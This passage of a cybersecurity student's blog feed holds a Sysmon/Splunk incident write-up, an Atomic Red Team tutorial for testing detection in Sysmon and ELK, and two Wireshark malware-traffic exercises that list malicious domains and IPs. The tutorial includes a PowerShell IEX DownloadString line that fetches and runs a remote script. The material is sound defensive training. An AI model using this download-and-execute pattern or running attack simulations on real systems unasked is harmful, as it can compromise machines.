</em>.</p><pre>source=&quot;5295-win82-sysmon.evtx&quot; 194.147.78.155 OR  190.114.254.116 OR 8.211.241.0 OR 50.16.216.118 OR 0714_6656030531.doc<br>| reverse</pre><p><em>With this Query that includes all external IPs and the initial malicious document , then reverse command all the malicious activities should have been displayed in chronological order. Scrolling through the logs i can make the story of what happened and how exactly it is happened .</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91M2P32-QYGzJaO1nAhCsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9d3r6-PgbdQg3Od53K2CHw.png" /><figcaption>the graph shows heavy network traffic and malicious activity after malware has been fully installed</figcaption></figure><h3>CONCLUSION________________________________</h3><p>The story begins with downloading a malicious document ,then malicious code has run by enabling macro, rundll32.exe and svhost.exe have been abused to create additional malicious processes , download and execute malware. Process is going through communicating to the attackers domains establishing command and control centre , lateral movement inside company network and executing remote commands.</p><h4>Hope you have enjoyed , Thank you for reading and hope to see you on my next blog again.</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ccdfe67182d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TEST YOUR DETECTION WITH ATOMIC RED TEAM AND SYSMON OR KIBANA/ELK]]></title>
            <link>https://medium.com/@salim.y.salimov/test-your-detection-with-atomic-red-team-and-sysmon-or-kibana-elk-032c34972ada?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/032c34972ada</guid>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[elk-stack]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Tue, 14 Nov 2023 14:11:25 GMT</pubDate>
            <atom:updated>2023-11-14T17:49:29.786Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello Everyone</strong>,</p><p>As my posts are mainly focused on Cybersecurity activities , today I have decided to write something about “Atomic Red Team” tool , and how does it work.</p><p>I will be covering how to install on local Machine with example how to run a test , also run the same test on a lab environment.</p><h3><strong>So what is AtomicRedTeam?</strong></h3><p>Basically this is a very useful Red Team tool that can simulate Malitious Attacks based on and using MittreAtt@ck techniques framework and today i am going to check if Detection and log tools like Sysmon, Kibana /ELK, Splunk etc.. can detect specific malicious activities based on Mitre<a href="/service/mailto:Att@ck">Att@ck</a> framework. Here is a link if you want to find out more about it:</p><blockquote>https://github.com/redcanaryco/atomic-red-team</blockquote><blockquote>https://github.com/redcanaryco/invoke-atomicredteam/wiki/Installing-Invoke-AtomicRedTeam</blockquote><h3><strong>Installing Atomic red team</strong></h3><p>As this process involves some malicious activities I am going run it in a Windows 10 Virtual Machine for demonstration. And here is how is done.</p><p><em>After Windows VM has been started open CMD (preferably as administrator) in it and run following commands consequently:</em></p><p>to run powershell in this black terminal window (alternatively The Powershell’s own Blue terminal can be used too):</p><pre>Powershell</pre><p>to download and install AtomicRedTeam I use following command:</p><pre>IEX (New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&#39;)</pre><p>This is a Powershell command and what it does is :</p><ol><li>IEX — invoke expression is a powershell command that executes the other functions of the Powershell</li><li>connects to internet using this function&lt;(New-Object Net.WebClient)&gt;</li><li>downloads a powershell script file located in this URL: &lt;https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1&gt; using this function : &lt;.DownloadString&gt;</li><li>Then the following command executes this downloaded script to install AtomicRedTeam.</li></ol><pre>Install-AtomicRedTeam -getAtomics -Force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hn17YB31WsQ3D4YQxf8UaA.png" /><figcaption>Type Y when prompted ( might need to be capital letter)</figcaption></figure><pre>Import-Module &quot;C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1&quot; -Force</pre><h3><strong><em>I</em>nstalled But how to use it?</strong></h3><p>To Show a list of all possible tests:</p><pre>Invoke-AtomicTest All -ShowDetailsBrief</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*977N13i_IOo769p_Eom3dQ.png" /></figure><p>To execute specific test command we do in this format:</p><pre>Invoke-AtomicTest Txxxx.xxx -TestNumbers x</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOdw3F6v0BT0A4DJ_G8_-A.png" /></figure><p>replacing the<em> “x” </em>characters with numbers of the specific test we want to run.</p><p></p><p>There are other Options This command takes:</p><blockquote> -ShowDetailsBrief : Shows all the tests</blockquote><blockquote> -ShowDetails : Show all the tests with all related details</blockquote><blockquote> -CheckPrereqs/Get-Prereqs : Check/download any needed prerequisites (tools to use)</blockquote><blockquote>-PromptForInputArgs : customize options in the execution</blockquote><blockquote>-Cleanup : Remove any created artifacts after execution</blockquote><p>By the way I needed to download , install and configure Sysmon ,if you don’t have it too here is the link for it:</p><blockquote><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon</a></blockquote><h3><strong>NOW Ready to Run the AtomicRedTeam test to see if Sysmon Detection can catch it :</strong></h3><p>From the CMD/Powershell terminal still open with the list of all possible tests , I just need to choose one to execute with following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bNRzFAQTE4J_nEYTgdTBBw.png" /><figcaption>using T number (tactic number) and test number from this list</figcaption></figure><pre>Invoke-AtomicTest T1553.005 -TestNumbers 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjFgq_BGRoGHuvBevXr8Hg.png" /></figure><p>As soon as I hit Enter it mounted an ISO file , as we can see a new CD drive in the file explorer then executed hello.exe that opened a message new CMD window.</p><h3><strong>Time see if this actions were detected by Sysmon</strong></h3><p>To do this ,I can open Event viewer on the Windows system and navigate to Applications and Services Logs =&gt; Microsoft =&gt;Windows =&gt; Sysmon =&gt; Operational log and view the Sysmon log entries. For my own convenience i have created a desktop shortcut to this path so i can access it quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cHxzpHDhMgHOF4AOHCKOQ.png" /></figure><h4>if I check the logs on the top of the list (the latest ones) one of them is process create event with it “event Id 1” , and image loaded from “F:\hello.exe” and this is exactly what we have executed with the AtomicRedTeam test lets look at the event details just to confirm the whole process. As we can see on the taken screen shots all the details confirms that sysmon has susccessfully detected this activity from mounting the iso as a “CD drive F:\” and executing a “hello.exe” file from it.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*6VbhzgUZmS9dahluKt0GDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*7XHfZET6vYfmeU88otkdag.png" /></figure><h3>Test done, lets clean up the mess!</h3><p>When we have done with the test we simply can run same command adding “-Cleanup” to clean up <em>undo</em> the created files and processes</p><pre>Invoke-AtomicTest T1553.005 -TestNumbers 2 -Cleanup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRlcJLvXVMj1S87_AQ4YDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8757km782gNFgQpsueOUw.png" /><figcaption>hello.exe is terminated and CD drive disappears from file explorer</figcaption></figure><h3><strong>So that is it how the test is done locally , but lets say we want to test a Detection tool in a company network where all the computers are set up to send their logs to ELK .</strong></h3><p>Lets quickly do the same test on AWS lab environment .</p><p>I have my own account in AWS , but the Labs are pre-build setup , provided to me with my cybersecurity training materials from Maltrak.com . This Lab environment contains 4 instances of cloud VM machines connected together . Each of them has different functions :</p><p>1x Red team instance ,1x Blue team instance — these can be accessed with browser using their private Ip addresses and provided credentials. The other two are Windows 10 instances — one simple VM and and one is a Domain controller. Both Windows machines are set to send logs to ELK automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sulRFyg8Gx4gb_PlHsLzUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-C4zfoazWoZ2nz5Ra3B89g.png" /></figure><p>Here I am going to run same Atomic test on one of the these Windows VMs and see if SIEM tools pre- installed on Blueteam instance can detect the test attacks and activities.</p><ol><li>Loging into AWS to see the lab instances running and their IP addresses that needed for establishing connections</li></ol><p>2. open ELK (Kibana is the UI ) and login</p><p>3. connect to Windows Vm with Rdesktop for remote controling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gb0kEidLOUC5laZs0eEmRw.png" /></figure><p>4. Running same AtomicRedteam test</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ujBAErsb8z-GWItGbunVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*rZHCOy87rrrWASFYlRN2Bw.png" /></figure><p>5. find the activity logs in the ELK search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRTgf7nuoenCDUVliXIyGA.png" /></figure><p>6. Analize the log details to confirm full process is detected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JZNyirPYQwZIxoEEaDFlLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fD2Gfl2GRzVmlwRLI5iE1Q.png" /></figure><p>As we can see on the screenshots ELK has detection logs for the executed AtomicRedTeam test.</p><h3>But what do we do if it did not have logs there , and test was unsuccessful?</h3><p>The answer to this question is that we need to fix it , make our SIEM tool to be able to detect it , create new detection rules and update them. As This is the main purpose of doing this tests.</p><p>Hope that was interesting and useful, Thanks for stopping by and reading my article, hope to see you again on my next one .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=032c34972ada" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ANALYSING PCAP FILES WITH WIRESHARK-PART 2]]></title>
            <link>https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-part-2-5185cf9837c1?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/5185cf9837c1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Wed, 04 Oct 2023 07:30:30 GMT</pubDate>
            <atom:updated>2024-02-06T10:47:04.795Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello everybody ,</strong></p><p><strong>Welcome to part 2 of .pcap analysing with Wireshark .Today I will try answers Quiz questions from this website :</strong></p><p><a href="https://www.malware-traffic-analysis.net/training-exercises.html">Malware-Traffic-Analysis.net - Traffic Analysis Exercises</a></p><p><strong>1.I have created folder “Quiz” where I downloaded the zip file and extracted the pcap file in.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*QjjT7GJk5HDcDhEj71c6Sg.png" /><figcaption><strong>Chosen the first one on the top, followed the instruction to download a zip file from github then to extracted the zip file with the password “infected”.</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/172/1*uTSjT-hRGR8l31t-p6y1DQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*8ARx4paje7USvfbGpat7Dg.png" /></figure><blockquote><strong>My tasks will be to find answers for the following questions :</strong></blockquote><blockquote>-What is the date and time in UTC the infection started?</blockquote><blockquote>-What is the IP address of the infected Windows client?</blockquote><blockquote>-What is the MAC address of the infected Windows client?</blockquote><blockquote>-What is the hostname of the infected Windows client?</blockquote><blockquote>-What is the user account name from the infected Windows host?</blockquote><blockquote>-Is there any follow-up activity from other malware?</blockquote><p><strong>2. Preparing Wireshark :</strong></p><ul><li>Firstly opened the quiz pcap with Wireshark</li><li>Customized it a bit :</li></ul><p>Wireshark has a lot of customization options like colouring rules where you can change the colour of the different types of packets, another one which I really like is to add custom filter buttons . They are easy to create and use .If you often need to type or copy paste a long or complex filter apply it once and press the little + button on the right. Then type a name in label field also you can add some notes on comment field and click ok .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6LJ5IQL-1Q2SeG8KFbXawQ.png" /></figure><p>We can create as many buttons as we want repeating the same procedure with different filters .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1kkTU_EAdg3Z8MJ_8bnzNw.png" /><figcaption>This is how my Wireshark looks after I have created some buttons.</figcaption></figure><p><strong>3. Staring to analyse :</strong></p><p>For starting point Ibegin with exporting trh suspicious objects from the pcap file .</p><ul><li>When I go ( File/Export objects/ HTTP ..) New windows appears and I scroll through the list ,looking to spot any suspicious files and take notes of them and their details.</li><li>I have created new folder for extracted objects and new text document where I start taking notes</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXh-JBJWuMPAyqVakH2Cig.png" /></figure><ul><li>found 2 very suspicious files ,then extracted them in the created folder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*DFrpy5MHyrUWeCuqjVyFVQ.png" /></figure><p><strong>4. Next thing I would like to check </strong>In Wireshark Statistics menu if we choose and click on HTTP /Requests we gonna get a new window like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KscHSq0P8xZUkBAfIO5_Rg.png" /></figure><p>going through the whole list I can check for websites and downloaded files are suspicious and focus on them . To make the list shorter I just close the expanded non suspicious activities by clicking the little — box in the front . This way I can get some neat view like the following screen shot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*jNwJziidw4Uopm3jRXR_QQ.png" /></figure><p>Found some suspicious files requested through 5 suspicious hosts. Some of the files were available to be exported as objects earlier and I have two of them in “extracted objects” folder already. ( “ %2f “ and “643d0491bcea1.zip” )</p><p><strong>5. From here i copied suspicious requests into my notes.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*UXtFJkz8W4H19XsSrgx-DQ.png" /></figure><p>6. Checked each of them in Virustotal and removed the last one from my notes as it has not been detected as malicious while all of the others returned as detected. Also i have noted that from which hosts the two exported files have been requested.</p><p>Interestingly the first exported object is not seen on this list so I want to go back to export-object window and open it side by side with http requests window to compare the two lists .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyfEim4AyxcNbqJZRjpOfg.png" /></figure><p>So the host name “<strong>skigimeetroc.com</strong>” associated with this file “<strong>%2f”</strong> is present on both sides and on the both lists this file is present named with this this character <strong>“</strong>/<strong>”. </strong>which also in http requests list is associated to another host name “<strong>x1.c.lencr.org</strong>”</p><p>The file “<strong>wicd/643d0491bcea1.zip</strong>” in both lists can be seen hosted in “<strong>cotecsecuritygroup.com</strong>”</p><p>Next we have a php file “<strong>main.php</strong>” requested from the host IP “<strong>80.77.25.175</strong> ”- This file is not available in object export list, as probably it is a script file that executed without being downloaded at all.</p><p><strong>6. Using first display filter:</strong></p><p>I use this filter</p><blockquote>http.host == &lt;domain name&gt;</blockquote><p>when I have a specific domain that I need to investigate it’s http traffic</p><p>Another great feature in Wireshark is that i can join filters with logical operators and expressions like - <strong>and , or , &amp;&amp; , || </strong>etc..</p><p>Instead of applying this filter with each domain or IP in the list from my notes I have used this feature to join them all together like this:</p><blockquote>http.host == x1.c.lencr.org or http.host == skigimeetroc.com or http.host == cotecsecuritygroup.com or http.host == 80.77.25.175</blockquote><p>When applied this as a filter it returns results associated with these domains and IP’s only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0RTQARLC1u0U3Fnn8Up2fQ.png" /><figcaption>only malicious traffic displayed here</figcaption></figure><p><strong>7. Analysing the results</strong></p><p>First packet in the results is the one which happened first by the time and it is a GET request from the victim(source IP) to the attacker’s host (destination IP).Where a malicious .php file is reached out and most likely executed a script.</p><p>So we have few answers already:</p><blockquote>-What is the date and time in UTC the infection started? —</blockquote><h3><strong>Apr 19, 2023 15:31:08 UTC</strong></h3><blockquote>-What is the IP address of the infected Windows client? —</blockquote><h3><strong>10.4.19.136</strong></h3><blockquote>-What is the MAC address of the infected Windows client? —</blockquote><h3><strong>14:58:d0:2e:c5:ae</strong></h3><p>{this is found in Data link layer (Ethernet ) details}</p><p>8. To find the other answers i have applied the following filter:</p><blockquote>kerberos.CNameString and ip.addr== 10.4.19.136</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCOBWrboe10VQ_wyh0ueWQ.png" /></figure><blockquote>-What is the hostname of the infected Windows client?</blockquote><h3>DESKTOP-SFF9LJF</h3><blockquote>-What is the user account name from the infected Windows host? —</blockquote><h3>csilva</h3><p><strong>8. Last question of the quiz :</strong></p><blockquote>-Is there any follow-up activity from other malware?</blockquote><p>To answer this i need to go back to the first combined filter , then right click on the first packet ,Follow the TCP( or HTTP stream ) any of them will open the same window , where we can see more details about this traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1gIlOGuqVW7KF--jj_Fedg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*r8h9LkvZsM_rOiPhz16qLg.png" /></figure><p>On this window we can see some more information that can be used for further investigation, like : the file has been accessed attacker’s ip and user-agent etc… , but what picks up attention here is — the Location URL at the bottom which seems like a server where the malicious files I have exported earlier been stored and have been downloaded from. I have checked this URL in Virustotal and results have showed malicious detected as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cpIFcL03rzlEo568416QHA.png" /></figure><p>Basically even from the results I see with the first filter anything after the .php can be accepted as follow up activities as they seem to be related to each other in the traffic.</p><p>8. Checking the answers:</p><p>To check if my answers are correct I went back to the Quiz website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*zkDk-NhI9NDTrp10NaLANg.png" /></figure><p>Dear readers , before end up this post i would like to say that this is not a professional analysis,but a part of a my cybersecurity course and i am doing this as student’s home work .</p><p>For those who wants to see professional work on this article i found this link:</p><p><a href="https://medium.com/@enyel.salas84/cold-as-ice-unit-42-wireshark-quiz-for-icedid-bc24aa0034e1">Cold as Ice: Unit 42 Wireshark Quiz for IcedID</a></p><p>here is a link to the part 1: <a href="https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-783a0bab6a05">https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-783a0bab6a05</a></p><p>Thanks for stopping by and reading this article,hope you have liked it. See you on my next post .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5185cf9837c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ANALYSING PCAP FILES WITH WIRESHARK-PART 1]]></title>
            <link>https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-783a0bab6a05?source=rss-30e28d4c7a65------2</link>
            <guid isPermaLink="false">https://medium.com/p/783a0bab6a05</guid>
            <dc:creator><![CDATA[Salim Salimov]]></dc:creator>
            <pubDate>Tue, 26 Sep 2023 12:39:43 GMT</pubDate>
            <atom:updated>2024-02-06T10:43:52.391Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everybody,</p><p>In one of my previous posts I have given little bit information about Wireshark and how to install and use it in Linux OS , you can check it out here: <a href="https://medium.com/@salim.y.salimov/wireshark-in-ubuntu-or-linux-mint-74d62032d4a5">https://medium.com/@salim.y.salimov/wireshark-in-ubuntu-or-linux-mint-74d62032d4a5</a></p><p>Today I am going to demonstrate how to find out what’s hidden in a sample .pcap file,using Wireshark and it’s functions as a tool for analyzing suspicious network activities. To be able to cover this topic I am going to divide it in two shorter parts instead of creating one very long and boring post .</p><p>What do we need ? :</p><ol><li>Virtual Machine (Linux OS VM preferably) — as we are going to deal with real malicious files. Doing this inside Virtual machine is highly recommended</li><li>Wireshark installed on your virtual machine system(if you don’t have it installed yet you can get it from here: <a href="https://www.wireshark.org/download.html">https://www.wireshark.org/download.html</a>)</li><li>A pcap file to analyse. cap files are previously captured and saved network traffic packets which includes a lot of information about network traffic , different communications , network protocols, network layers , may also include files and documents that we can extract and analyse…etc( here is a good place to get one : <a href="https://www.malware-traffic-analysis.net/">https://www.malware-traffic-analysis.net/</a> )</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*3iY90eVURM0SycWaJukX4g.png" /></figure><p>Let’s get started.</p><ol><li>Start up your virtual machine ( I am skipping this step as I will be using Wireshark in my Linux laptop ,so don’t worry if icons or interface is looking a bit different in my screenshots )</li><li>Inside your virtual machine open the Wireshark application</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jkNOd3naiDEo1FDbr4ZWTQ.png" /></figure><p>3. Open the pcap file in Wireshark by :</p><p>- Clicking FILE then from drop down menu OPEN then browse to find the pcap file .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyAu-i1CkBD20_7Bg93R5A.png" /></figure><p>— Or simply drag and drop the file anywhere in the Wireshark window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IogjyYuohHUkOmN9H6ZHvA.png" /></figure><p>4. Once file is loaded to Wireshark we can start analysing process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aGTWrS2FHdLL2WqlgNJeyQ.png" /></figure><h3>ANALYSING PROCESS (Part 1-Exporting Objects)</h3><p>As a pcap file may include so much information we can not look and read everything in it , we need to use Wireshark filters to narrow down the information to see only what we need. But On this post i am going to show first thing I would like to do,and that is to extract/export all the files which are captured in this pcap file.</p><h4>1. Export objects</h4><p>To do this just follow this drop down menu FILE/ Export objects/HTTP…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HjD8cyISWJz1jv_WcJy2AQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*B3Vv1YvcYvk8g4V9c8sO0g.png" /></figure><p>In the new window that opens we see the list of files that has been transferred during network traffic been captured. If the files are too many we can filter them by type or search for specific one to export.</p><p>As I don’t know which of them may be suspicious at this point I am going to save them all and analyse one by one . Create a new folder in Desktop for easy access press save all and browse to de newly created folder as destination.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*UgsQYcLudNnOY9u4mu_siA.png" /></figure><p>Once exported the files before I close this window I would like to take note of all the host Ip addresses and websites listed there or I simply save a screenshot of it, to be able to investigate these Ip addresses and websites later on.</p><h4>2. Next I am going to Upload and Scan Exported files with VirusTotal : <a href="https://www.virustotal.com/gui/home/upload">https://www.virustotal.com/gui/home/upload</a></h4><p>- Open “Exported objects” folder and VirusTotal website side by side</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhUlq8rKFSX0Ns_XP7Mc7A.png" /><figcaption>opened side by side the two windows</figcaption></figure><p>- drag and drop files from the folder to the website to see if they are detected as malicious files , taking notes of those that are detected , then I would separate them in two subfolders for detailed investigation with other tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7RyBW-ogJBZdcqbFxDSaOQ.png" /><figcaption>drag and drop for easy uploading</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqK41Wcoi5pQQE9jH9trZw.png" /><figcaption>created two subfolders to separate detected and undetected files</figcaption></figure><p>Results for the first file do not show any sign of infection to be detected and I move this file into “Not Detected ”folder (please note that this only shows that this file does not contain any <strong>known</strong> malware, but still might contain some new malicious code , script or other kind of malware, that is not known yet.)</p><p>when I have completed uploading/scanning all .txt files half of them turned out as not detected as malicious and the other half turned out detected as malicious by one vendor only as you can see in the next screenshot .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BW2Im2sra1XYVcgf70tJmw.png" /><figcaption>detected by one vendor</figcaption></figure><p>So I have moved them into “Malicious” folder and continued with next files. There are two .cab files which are most likely some windows component update files but to eliminate the suspicion I am going to scan them too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkty3VmXPYicPu3FYtgDXw.png" /><figcaption>.cab files scanned</figcaption></figure><p>As they both seems good according to Virustotal results I move them to “Not Detected” folder.</p><p>What left for scanning now are some files with .png extensions which means they supposed be some pictures or image files , but as I have seen before this extensions might be used just for hiding and trick victims to execute malware by trying to open an image file. Lets scan them in Virus total to see if this is the case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BttBC5dXjMEvS0QlQ83Rcg.png" /><figcaption>.png files scanned</figcaption></figure><p>Indeed all .png files turned out detected as malicious files and they all goes in the “Malicious “ folder .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*_hYSwl8bNqKYvzkfaIQw2A.png" /></figure><p>Now after we have checked all the exported objects/files in Virus total , I am going to check the ip addresses and websites they are coming from as well. If we get back to “extract objects”window on Wireshark or open the screenshot of it which I have saved earlier in the Hostname column I can see some websites or ip addresses where the files has been downloaded from. Let’s see what Virus total knows about them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*mVoJlBkjqf_S2UWkFqnwfg.png" /></figure><ul><li>Open VirusTotal website and click on url and type in the hostnames presented as websites</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vjxujN8m5DrbnPXzvFmwtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*X340BVKj63ZvmCdNdTMpzQ.png" /><figcaption>scanning hosts presented as websites</figcaption></figure><ul><li>All the website Hostnames return results with no detection of malware, those are the ones associated with the files with not malware detected too , that can be seen in the “export objects”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*ew65NSQFgwNsx7MbnXwl2g.png" /></figure><ul><li>All the other hostnames are presented by Ip addresses , which makes them suspicious already. But let’s scan them too and see the results. Looks there are only two ip addresses as hostnames where multiple files are downloaded from and the scan results shows these ip addresses are both malicious.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*yLbBZVfXWXwRTMov1pytmg.png" /><figcaption>ip hostnames are all detected</figcaption></figure><ul><li>So some files that where not detected as malicious has been downloaded from from these ip addresses, they are actually all the .txt files except ncsi.txt file . So I am going back to my exported objects folder and move all the txt files from “Not Detected “ folder to “Malicious”folder, leaving there only ncsi.txt with the two .cab files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qwWT-4XKlFTt8fI4albNVA.png" /></figure><p>These files might seems to be harmless,and not detected as malware but they may contain important information about malware or might be used to help the actual malware ,so we still need to treat them as they are and investigate them further.</p><h4>I hope this was useful and interesting article, Thank you for reading and I will see you on next part of this topic.</h4><p>link to part 2 <a href="https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-part-2-5185cf9837c1">https://medium.com/@salim.y.salimov/analysing-pcap-files-with-wireshark-part-2-5185cf9837c1</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=783a0bab6a05" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>